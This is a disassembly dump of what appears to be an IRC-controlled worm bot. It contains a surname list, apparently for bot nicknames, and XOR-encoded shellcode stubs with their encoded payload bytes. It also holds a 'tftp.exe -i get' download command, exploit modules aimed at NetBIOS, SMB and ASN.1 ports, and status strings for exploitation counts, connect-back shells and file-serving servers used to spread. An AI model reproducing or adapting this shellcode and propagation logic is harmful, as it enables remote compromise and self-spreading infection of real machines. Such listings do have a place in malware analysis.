aChurch		db 'Church',0           ; DATA XREF: ___:0042D994o
		align 4
aChupasko	db 'Chupasko',0         ; DATA XREF: ___:0042D990o
		align 4
aChu		db 'Chu',0              ; DATA XREF: ___:0042D98Co
aChristopher	db 'Christopher',0      ; DATA XREF: ___:0042D988o
aChristie	db 'Christie',0         ; DATA XREF: ___:0042D984o
		align 10h
aChristiano	db 'Christiano',0       ; DATA XREF: ___:0042D980o
		align 4
aChristian	db 'Christian',0        ; DATA XREF: ___:0042D97Co
		align 4
aChristenson	db 'Christenson',0      ; DATA XREF: ___:0042D978o
aChinman	db 'Chinman',0          ; DATA XREF: ___:0042D974o
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: ___:0042D970o
aChilds		db 'Childs',0           ; DATA XREF: ___:0042D96Co
		align 10h
aChildress	db 'Childress',0        ; DATA XREF: ___:0042D968o
		align 4
aChien		db 'Chien',0            ; DATA XREF: ___:0042D964o
		align 4
aChiassino	db 'Chiassino',0        ; DATA XREF: ___:0042D960o
		align 10h
aChervinsky	db 'Chervinsky',0       ; DATA XREF: ___:0042D95Co
		align 4
aCherry		db 'Cherry',0           ; DATA XREF: ___:0042D958o
		align 4
aCheang		db 'Cheang',0           ; DATA XREF: ___:0042D954o
		align 4
aCharles	db 'Charles',0          ; DATA XREF: ___:0042D950o
aChapman	db 'Chapman',0          ; DATA XREF: ___:0042D94Co
aCerioli	db 'Cerioli',0          ; DATA XREF: ___:0042D948o
aCeniceros	db 'Ceniceros',0        ; DATA XREF: ___:0042D944o
		align 10h
aCavell		db 'Cavell',0           ; DATA XREF: ___:0042D940o
		align 4
aCavanagh	db 'Cavanagh',0         ; DATA XREF: ___:0042D93Co
		align 4
aCastelda	db 'Castelda',0         ; DATA XREF: ___:0042D938o
		align 10h
aCaspar		db 'Caspar',0           ; DATA XREF: ___:0042D934o
		align 4
aCase		db 'Case',0             ; DATA XREF: ___:0042D930o
		align 10h
aCascio		db 'Cascio',0           ; DATA XREF: ___:0042D92Co
		align 4
aCartmill	db 'Cartmill',0         ; DATA XREF: ___:0042D928o
		align 4
aCarper		db 'Carper',0           ; DATA XREF: ___:0042D924o
		align 4
aCaroti		db 'Caroti',0           ; DATA XREF: ___:0042D920o
		align 4
aCarmichael	db 'Carmichael',0       ; DATA XREF: ___:0042D91Co
		align 10h
aCarlyle	db 'Carlyle',0          ; DATA XREF: ___:0042D918o
aCarlos		db 'Carlos',0           ; DATA XREF: ___:0042D914o
		align 10h
aCarlin		db 'Carlin',0           ; DATA XREF: ___:0042D910o
		align 4
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: ___:0042D90Co
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: ___:0042D908o
aCapursi	db 'Capursi',0          ; DATA XREF: ___:0042D904o
aCappuccio	db 'Cappuccio',0        ; DATA XREF: ___:0042D900o
		align 4
aCapodilupo	db 'Capodilupo',0       ; DATA XREF: ___:0042D8FCo
		align 4
aCapocaccia	db 'Capocaccia',0       ; DATA XREF: ___:0042D8F8o
		align 10h
aCaperton	db 'Caperton',0         ; DATA XREF: ___:0042D8F4o
		align 4
aCapanni	db 'Capanni',0          ; DATA XREF: ___:0042D8F0o
aCanley		db 'Canley',0           ; DATA XREF: ___:0042D8ECo
		align 4
aCammilleri	db 'Cammilleri',0       ; DATA XREF: ___:0042D8E8o
		align 4
aCammelli	db 'Cammelli',0         ; DATA XREF: ___:0042D8E4o
		align 4
aCalnan		db 'Calnan',0           ; DATA XREF: ___:0042D8E0o
		align 4
aCage		db 'Cage',0             ; DATA XREF: ___:0042D8DCo
		align 4
aByrd		db 'Byrd',0             ; DATA XREF: ___:0042D8D8o
		align 4
aByerly		db 'Byerly',0           ; DATA XREF: ___:0042D8D4o
		align 4
aByatt		db 'Byatt',0            ; DATA XREF: ___:0042D8D0o
		align 4
aBusetta	db 'Busetta',0          ; DATA XREF: ___:0042D8CCo
aBurridge	db 'Burridge',0         ; DATA XREF: ___:0042D8C8o
		align 10h
aBurke		db 'Burke',0            ; DATA XREF: ___:0042D8C4o
		align 4
aBurdzy		db 'Burdzy',0           ; DATA XREF: ___:0042D8C0o
		align 10h
aBurden		db 'Burden',0           ; DATA XREF: ___:0042D8BCo
		align 4
aBunton		db 'Bunton',0           ; DATA XREF: ___:0042D8B8o
		align 10h
aBullard	db 'Bullard',0          ; DATA XREF: ___:0042D8B4o
aBudding	db 'Budding',0          ; DATA XREF: ___:0042D8B0o
aBuchan		db 'Buchan',0           ; DATA XREF: ___:0042D8ACo
		align 4
aBrzycki	db 'Brzycki',0          ; DATA XREF: ___:0042D8A8o
aBrook		db 'Brook',0            ; DATA XREF: ___:0042D8A4o
		align 4
aBroca		db 'Broca',0            ; DATA XREF: ___:0042D8A0o
		align 10h
aBritz		db 'Britz',0            ; DATA XREF: ___:0042D89Co
		align 4
aBrinton	db 'Brinton',0          ; DATA XREF: ___:0042D898o
aBridges	db 'Bridges',0          ; DATA XREF: ___:0042D894o
aBridgeman	db 'Bridgeman',0        ; DATA XREF: ___:0042D890o
		align 4
aBrewer		db 'Brewer',0           ; DATA XREF: ___:0042D888o
					; ___:0042D88Co
		align 4
aBrennan	db 'Brennan',0          ; DATA XREF: ___:0042D884o
aBrenan		db 'Brenan',0           ; DATA XREF: ___:0042D880o
		align 4
aBreed		db 'Breed',0            ; DATA XREF: ___:0042D87Co
		align 4
aBrecht		db 'Brecht',0           ; DATA XREF: ___:0042D878o
		align 4
aBradach	db 'Bradach',0          ; DATA XREF: ___:0042D874o
aBradac		db 'Bradac',0           ; DATA XREF: ___:0042D870o
		align 4
aBracalente	db 'Bracalente',0       ; DATA XREF: ___:0042D86Co
		align 4
aBoyne		db 'Boyne',0            ; DATA XREF: ___:0042D868o
		align 10h
aBoym		db 'Boym',0             ; DATA XREF: ___:0042D864o
		align 4
aBoyland	db 'Boyland',0          ; DATA XREF: ___:0042D860o
aBoyes		db 'Boyes',0            ; DATA XREF: ___:0042D85Co
		align 4
aBoyajian	db 'Boyajian',0         ; DATA XREF: ___:0042D858o
		align 4
aBoxer		db 'Boxer',0            ; DATA XREF: ___:0042D854o
		align 4
aBowers		db 'Bowers',0           ; DATA XREF: ___:0042D850o
		align 4
aBourneuf	db 'Bourneuf',0         ; DATA XREF: ___:0042D84Co
		align 10h
aBoudrot	db 'Boudrot',0          ; DATA XREF: ___:0042D848o
aBoudin		db 'Boudin',0           ; DATA XREF: ___:0042D844o
		align 10h
aBotosh		db 'Botosh',0           ; DATA XREF: ___:0042D840o
		align 4
aBothman	db 'Bothman',0          ; DATA XREF: ___:0042D83Co
aBossi		db 'Bossi',0            ; DATA XREF: ___:0042D838o
		align 4
aBorden		db 'Borden',0           ; DATA XREF: ___:0042D834o
		align 10h
aBorack		db 'Borack',0           ; DATA XREF: ___:0042D830o
		align 4
aBoorstin	db 'Boorstin',0         ; DATA XREF: ___:0042D82Co
		align 4
aBoone		db 'Boone',0            ; DATA XREF: ___:0042D828o
		align 4
aBookbinder	db 'Bookbinder',0       ; DATA XREF: ___:0042D824o
		align 4
aBook		db 'Book',0             ; DATA XREF: ___:0042D820o
		align 10h
aBontempo	db 'Bontempo',0         ; DATA XREF: ___:0042D81Co
		align 4
aBoniface	db 'Boniface',0         ; DATA XREF: ___:0042D818o
		align 4
aBonham		db 'Bonham',0           ; DATA XREF: ___:0042D814o
		align 10h
aBoner		db 'Boner',0            ; DATA XREF: ___:0042D810o
		align 4
aBologna	db 'Bologna',0          ; DATA XREF: ___:0042D80Co
aBollinger	db 'Bollinger',0        ; DATA XREF: ___:0042D808o
		align 4
aBolick		db 'Bolick',0           ; DATA XREF: ___:0042D804o
		align 4
aBolger		db 'Bolger',0           ; DATA XREF: ___:0042D800o
		align 4
aBlyth		db 'Blyth',0            ; DATA XREF: ___:0042D7FCo
		align 4
aBloxham	db 'Bloxham',0          ; DATA XREF: ___:0042D7F8o
aBloemhof	db 'Bloemhof',0         ; DATA XREF: ___:0042D7F4o
		align 4
aBloembergen	db 'Bloembergen',0      ; DATA XREF: ___:0042D7F0o
aBloch		db 'Bloch',0            ; DATA XREF: ___:0042D7ECo
		align 4
aBlizard	db 'Blizard',0          ; DATA XREF: ___:0042D7E8o
aBliss		db 'Bliss',0            ; DATA XREF: ___:0042D7E4o
		align 4
aBlanke		db 'Blanke',0           ; DATA XREF: ___:0042D7E0o
		align 4
aBlakemore	db 'Blakemore',0        ; DATA XREF: ___:0042D7DCo
		align 10h
aBlagg		db 'Blagg',0            ; DATA XREF: ___:0042D7D8o
		align 4
aBlackwell	db 'Blackwell',0        ; DATA XREF: ___:0042D7D4o
		align 4
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: ___:0042D7D0o
		align 10h
aBisho		db 'Bisho',0            ; DATA XREF: ___:0042D7CCo
		align 4
aBisema		db 'Bisema',0           ; DATA XREF: ___:0042D7C8o
		align 10h
aBir		db 'Bir',0              ; DATA XREF: ___:0042D7C4o
aBinion		db 'Binion',0           ; DATA XREF: ___:0042D7C0o
		align 4
aBickel		db 'Bickel',0           ; DATA XREF: ___:0042D7BCo
		align 4
aBiagioli	db 'Biagioli',0         ; DATA XREF: ___:0042D7B8o
		align 10h
aBeynart	db 'Beynart',0          ; DATA XREF: ___:0042D7B4o
aBetti		db 'Betti',0            ; DATA XREF: ___:0042D7B0o
		align 10h
aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: ___:0042D7ACo
		align 10h
aBernston	db 'Bernston',0         ; DATA XREF: ___:0042D7A8o
		align 4
aBernassola	db 'Bernassola',0       ; DATA XREF: ___:0042D7A4o
		align 4
aBernardo	db 'Bernardo',0         ; DATA XREF: ___:0042D7A0o
		align 4
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: ___:0042D79Co
		align 4
aBergson	db 'Bergson',0          ; DATA XREF: ___:0042D798o
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: ___:0042D794o
		align 4
aBelloc		db 'Belloc',0           ; DATA XREF: ___:0042D790o
		align 4
aBellini	db 'Bellini',0          ; DATA XREF: ___:0042D78Co
aBellhouse	db 'Bellhouse',0        ; DATA XREF: ___:0042D788o
		align 4
aBellavance	db 'Bellavance',0       ; DATA XREF: ___:0042D784o
		align 4
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: ___:0042D780o
		align 4
aBelfer		db 'Belfer',0           ; DATA XREF: ___:0042D77Co
		align 4
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: ___:0042D778o
		align 4
aBelanger	db 'Belanger',0         ; DATA XREF: ___:0042D774o
		align 4
aBehenna	db 'Behenna',0          ; DATA XREF: ___:0042D770o
aBedford	db 'Bedford',0          ; DATA XREF: ___:0042D76Co
aBeder		db 'Beder',0            ; DATA XREF: ___:0042D768o
		align 4
aBeckman	db 'Beckman',0          ; DATA XREF: ___:0042D764o
aBean		db 'Bean',0             ; DATA XREF: ___:0042D760o
		align 4
aBeal		db 'Beal',0             ; DATA XREF: ___:0042D75Co
		align 4
aBeacon		db 'Beacon',0           ; DATA XREF: ___:0042D758o
		align 4
aBayo		db 'Bayo',0             ; DATA XREF: ___:0042D754o
		align 4
aBayles		db 'Bayles',0           ; DATA XREF: ___:0042D750o
		align 4
aBaumiller	db 'Baumiller',0        ; DATA XREF: ___:0042D74Co
		align 4
aBatchelder	db 'Batchelder',0       ; DATA XREF: ___:0042D748o
		align 4
aBashevis	db 'Bashevis',0         ; DATA XREF: ___:0042D744o
		align 10h
aBasavappa	db 'Basavappa',0        ; DATA XREF: ___:0042D740o
		align 4
aBartoo		db 'Bartoo',0           ; DATA XREF: ___:0042D73Co
		align 4
aBartolome	db 'Bartolome',0        ; DATA XREF: ___:0042D738o
		align 10h
aBartholomew	db 'Bartholomew',0      ; DATA XREF: ___:0042D734o
aBarry		db 'Barry',0            ; DATA XREF: ___:0042D730o
		align 4
aBarriola	db 'Barriola',0         ; DATA XREF: ___:0042D72Co
		align 10h
aBarnett	db 'Barnett',0          ; DATA XREF: ___:0042D728o
aBarneson	db 'Barneson',0         ; DATA XREF: ___:0042D724o
		align 4
aBarbetti	db 'Barbetti',0         ; DATA XREF: ___:0042D720o
		align 10h
aBarberi	db 'Barberi',0          ; DATA XREF: ___:0042D71Co
aBaranowska	db 'Baranowska',0       ; DATA XREF: ___:0042D718o
		align 4
aBaranczak	db 'Baranczak',0        ; DATA XREF: ___:0042D714o
		align 10h
aBarajas	db 'Barajas',0          ; DATA XREF: ___:0042D710o
aBarabesi	db 'Barabesi',0         ; DATA XREF: ___:0042D70Co
		align 4
aBanta		db 'Banta',0            ; DATA XREF: ___:0042D708o
		align 4
aBaltz		db 'Baltz',0            ; DATA XREF: ___:0042D704o
		align 4
aBallew		db 'Ballew',0           ; DATA XREF: ___:0042D700o
		align 4
aBallatori	db 'Ballatori',0        ; DATA XREF: ___:0042D6FCo
		align 4
aBaleja		db 'Baleja',0           ; DATA XREF: ___:0042D6F8o
		align 10h
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: ___:0042D6F4o
		align 4
aBailar		db 'Bailar',0           ; DATA XREF: ___:0042D6F0o
		align 4
aBagnold	db 'Bagnold',0          ; DATA XREF: ___:0042D6ECo
aBaglivo	db 'Baglivo',0          ; DATA XREF: ___:0042D6E8o
aBady		db 'Bady',0             ; DATA XREF: ___:0042D6E4o
		align 4
aBackus		db 'Backus',0           ; DATA XREF: ___:0042D6E0o
		align 4
aBachmuth	db 'Bachmuth',0         ; DATA XREF: ___:0042D6DCo
		align 10h
aAzima		db 'Azima',0            ; DATA XREF: ___:0042D6D8o
		align 4
aAyling		db 'Ayling',0           ; DATA XREF: ___:0042D6D4o
		align 10h
aAykroyd	db 'Aykroyd',0          ; DATA XREF: ___:0042D6D0o
aAyiemba	db 'Ayiemba',0          ; DATA XREF: ___:0042D6CCo
aAxworthy	db 'Axworthy',0         ; DATA XREF: ___:0042D6C8o
		align 4
aAxelrod	db 'Axelrod',0          ; DATA XREF: ___:0042D6C4o
aAurelius	db 'Aurelius',0         ; DATA XREF: ___:0042D6C0o
		align 10h
aAugustus	db 'Augustus',0         ; DATA XREF: ___:0042D6BCo
		align 4
aAtkins		db 'Atkins',0           ; DATA XREF: ___:0042D6B8o
		align 4
aArky		db 'Arky',0             ; DATA XREF: ___:0042D6B4o
		align 4
aArjas		db 'Arjas',0            ; DATA XREF: ___:0042D6B0o
		align 4
aAristotle	db 'Aristotle',0        ; DATA XREF: ___:0042D6ACo
		align 10h
aArellano	db 'Arellano',0         ; DATA XREF: ___:0042D6A8o
		align 4
aArduini	db 'Arduini',0          ; DATA XREF: ___:0042D6A4o
aArbia		db 'Arbia',0            ; DATA XREF: ___:0042D6A0o
		align 4
aAntos		db 'Antos',0            ; DATA XREF: ___:0042D69Co
		align 4
aAnthony	db 'Anthony',0          ; DATA XREF: ___:0042D698o
aAnsley		db 'Ansley',0           ; DATA XREF: ___:0042D694o
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: ___:0042D690o
		align 10h
aAndron		db 'Andron',0           ; DATA XREF: ___:0042D68Co
		align 4
aAndrelus	db 'Andrelus',0         ; DATA XREF: ___:0042D688o
		align 4
aAndo		db 'Ando',0             ; DATA XREF: ___:0042D684o
		align 4
aAndel		db 'Andel',0            ; DATA XREF: ___:0042D680o
		align 4
aAnand		db 'Anand',0            ; DATA XREF: ___:0042D67Co
		align 4
aAmsden		db 'Amsden',0           ; DATA XREF: ___:0042D678o
		align 4
aAmeer		db 'Ameer',0            ; DATA XREF: ___:0042D674o
		align 4
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: ___:0042D670o
		align 4
aAmaral		db 'Amaral',0           ; DATA XREF: ___:0042D66Co
		align 10h
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: ___:0042D668o
		align 4
aAltenberger	db 'Altenberger',0      ; DATA XREF: ___:0042D664o
aAltavilla	db 'Altavilla',0        ; DATA XREF: ___:0042D660o
		align 4
aAlongi		db 'Alongi',0           ; DATA XREF: ___:0042D65Co
		align 4
aAllison	db 'Allison',0          ; DATA XREF: ___:0042D658o
aAleks		db 'Aleks',0            ; DATA XREF: ___:0042D654o
		align 4
aAlda		db 'Alda',0             ; DATA XREF: ___:0042D650o
		align 4
aAlcorn		db 'Alcorn',0           ; DATA XREF: ___:0042D64Co
		align 4
aAlavi		db 'Alavi',0            ; DATA XREF: ___:0042D648o
		align 4
aAhlers		db 'Ahlers',0           ; DATA XREF: ___:0042D644o
		align 4
aAdorno		db 'Adorno',0           ; DATA XREF: ___:0042D640o
		align 4
aAdibe		db 'Adibe',0            ; DATA XREF: ___:0042D63Co
		align 4
aAdelstein	db 'Adelstein',0        ; DATA XREF: ___:0042D638o
		align 4
aAddison	db 'Addison',0          ; DATA XREF: ___:off_42D634o
aAdams		db 'Adams',0            ; DATA XREF: ___:0042D630o
		align 4
aAckerman	db 'Ackerman',0         ; DATA XREF: ___:0042D62Co
		align 4
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: ___:off_42D628o
		align 10h
byte_431280	db 50h			; DATA XREF: ___:0040ADEFo
					; ___:0040ADFCr
		db 43h,	2 dup(0)
dword_431284	dd 7C7325h		; DATA XREF: ___:0040AE9Ao
dword_431288	dd 5D73255Bh, 7Ch	; DATA XREF: ___:0040AFA4o
dword_431290	dd 3F3F3Fh		; DATA XREF: ___:loc_40AF9Bo
					; sub_41AA42:loc_41AB05o
dword_431294	dd 334B32h		; DATA XREF: ___:0040AF94o
dword_431298	dd 5058h		; DATA XREF: ___:0040AF86o
					; sub_41AA42+AAo
dword_43129C	dd 4B32h		; DATA XREF: ___:0040AF76o
					; sub_41AA42+98o
dword_4312A0	dd 454Dh		; DATA XREF: ___:0040AF5Do
					; sub_41AA42+7Eo
dword_4312A4	dd 3839h		; DATA XREF: ___:0040AF4Do
					; sub_41AA42+6Co
dword_4312A8	dd 544Eh		; DATA XREF: ___:0040AF3Do
					; sub_41AA42+5Ao
dword_4312AC	dd 3539h		; DATA XREF: ___:0040AF2Fo
					; sub_41AA42+46o
dword_4312B0	dd 5D64255Bh, 7325h	; DATA XREF: sub_40AFEA+3Ao
dword_4312B8	dd 5D4D5Bh		; DATA XREF: sub_40AFEA+2Co
					; sub_40AFEA+57o
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_40AFEA+18o
					; sub_418211+5o
		align 4
		jmp	short loc_4312C8
; ---------------------------------------------------------------------------


loc_4312C6:				; CODE XREF: ___:loc_4312C8p
		jmp	short loc_4312CD
; ---------------------------------------------------------------------------


loc_4312C8:				; CODE XREF: ___:004312C4j
		call	loc_4312C6


loc_4312CD:				; CODE XREF: ___:loc_4312C6j
		pop	ebx
		xor	ecx, ecx
		mov	cx, 0FFFFh


loc_4312D4:				; CODE XREF: ___:004312D9j
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_4312D4
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cl, 0FFh


loc_4312EA:				; CODE XREF: ___:004312EFj
		xor	byte ptr [ebx+0Ch], 0FFh
		inc	ebx
		loop	loc_4312EA
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
		dd 12h
aTftp_exeIGet	db 'tftp.exe -i  get ',0
; ---------------------------------------------------------------------------
		push	0
		call	sub_43138C
		jnz	short loc_431378
		retn
; ---------------------------------------------------------------------------


loc_431378:				; CODE XREF: ___:00431375j
					; ___:00431385j
		call	near ptr loc_43137D+1


loc_43137D:				; CODE XREF: ___:loc_431378p
		add	[edx+0], ch
		call	sub_43138C
		jz	loc_431378
		retn

; =============== S U B	R O U T	I N E =======================================



sub_43138C	proc near		; CODE XREF: ___:00431370p
					; ___:00431380p
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
sub_43138C	endp

; ---------------------------------------------------------------------------
		align 4
		dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40B384+51o
		align 4
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B384+35o
		align 10h
aSym		db 'sym',0              ; DATA XREF: sub_40C124+169o
		dd 0
		db 2 dup(0)
aSymantec	db 'Symantec',0         ; DATA XREF: sub_40B7DA+30o
		align 4
		dd 5 dup(0)
dword_431438	dd 0B97h		; DATA XREF: sub_401ACD+1DA0r
					; sub_401ACD+1DC9o ...
off_43143C	dd offset sub_40E0D0	; DATA XREF: sub_40C124+1EAr
dword_431440	dd 0			; DATA XREF: sub_40B64A+2Eo
					; ___:0040D495w ...
dword_431444	dd 1			; DATA XREF: sub_40BACD+1Fr
dword_431448	dd 1			; DATA XREF: sub_40BACD+3B3r
dword_43144C	dd 0			; DATA XREF: sub_40BACD+292r
		dd 636E76h, 0
		dd 6E760000h, 63h, 6 dup(0)
		dd 170Ch, 40E206h, 0
		dd 2 dup(1), 0
aNet139		db 'net139',0
		align 4
		dd 654E0000h, 69706174h, 393331h, 5 dup(0)
		dd 8Bh,	40DF8Eh, 0
		dd 2 dup(1), 0
aNet445		db 'net445',0
		align 4
		dd 654E0000h, 69706174h, 353434h, 5 dup(0)
		dd 1BDh, 40DF8Eh, 0
		dd 2 dup(1), 0
aAsn80		db 'asn80',0
		align 4
		dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0)
		dd 50h,	40D2D9h, 0
		dd 2 dup(1), 0
aAsn445_0	db 'asn445',0
		align 4
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh, 40D2D9h, 0
		dd 2 dup(1), 0
aAsn139		db 'asn139',0
		align 4
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh,	40D2D9h, 0
		dd 2 dup(1), 2 dup(0)
		dd 10100h, 0Eh dup(0)
aAsn139_0	db 'asn139',0
		align 4
		db 2 dup(0)
byte_43161A	db 1			; DATA XREF: sub_401ACD:loc_4037E6r
					; sub_401ACD+1D23o
aAsn445_1	db 'asn445',0
		align 4
		dd 100h, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_431646

; =============== S U B	R O U T	I N E =======================================



sub_431636	proc near		; CODE XREF: sub_431636:loc_431646p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_43163E:				; CODE XREF: sub_431636+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_43163E
		jmp	short loc_43164B
; ---------------------------------------------------------------------------


loc_431646:				; CODE XREF: ___:00431634j
		call	sub_431636


loc_43164B:				; CODE XREF: sub_431636+Ej
		jo	short near ptr dword_4315D4+12h
		cwde
		cdq
		cdq
		retn
sub_431636	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40B64A+86o
		align 4
dword_4317C8	dd 25370320h, 203A0373h, 2C6425h ; DATA	XREF: sub_40B64A+46o
unk_4317D4	db  2Dh	; -		; DATA XREF: sub_40B64A+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
unk_4317F4	db  2Dh	; -		; DATA XREF: sub_40B719+38o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
unk_43183C	db  2Dh	; -		; DATA XREF: sub_40B785+22o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 4
aScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_40B7DA+7Fo
dword_431878	dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40B7DA+40o
dword_431888	dd 234032Dh, 6E616373h,	202D0302h, 6C707845h, 2074696Fh
					; DATA XREF: sub_40B7DA+14o
		dd 7473694Ch, 3Ah
unk_4318A4	db  2Dh	; -		; DATA XREF: ___:0040BA13o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
unk_4318D8	db  2Dh	; -		; DATA XREF: ___:0040B921o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 4
unk_431908	db  2Dh	; -		; DATA XREF: sub_40BA56+42o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 4
unk_431928	db  2Dh	; -		; DATA XREF: sub_40BA56+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
unk_431944	db  2Dh	; -		; DATA XREF: sub_40BACD+4B7o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_33	db ' Failed to start server, error: <%d>.',0
		align 4
unk_431978	db  2Dh	; -		; DATA XREF: sub_40BACD+38Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_34	db '- Failed to start server, error: <%d>.',0
unk_4319B0	db  2Dh	; -		; DATA XREF: sub_40BACD+321o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_2	db '- Server started on Port: %d.',0
		align 10h
unk_4319E0	db  2Dh	; -		; DATA XREF: sub_40BACD+26Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_35	db 'Failed to start server, error: <%d>.',0
		align 4
unk_431A14	db  2Dh	; -		; DATA XREF: sub_40BACD+1FEo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_3	db 'Server started on Port: %d, File: %s.',0
		align 4
unk_431A48	db  2Dh	; -		; DATA XREF: sub_40BACD+148o
		db 3, 34h, 2
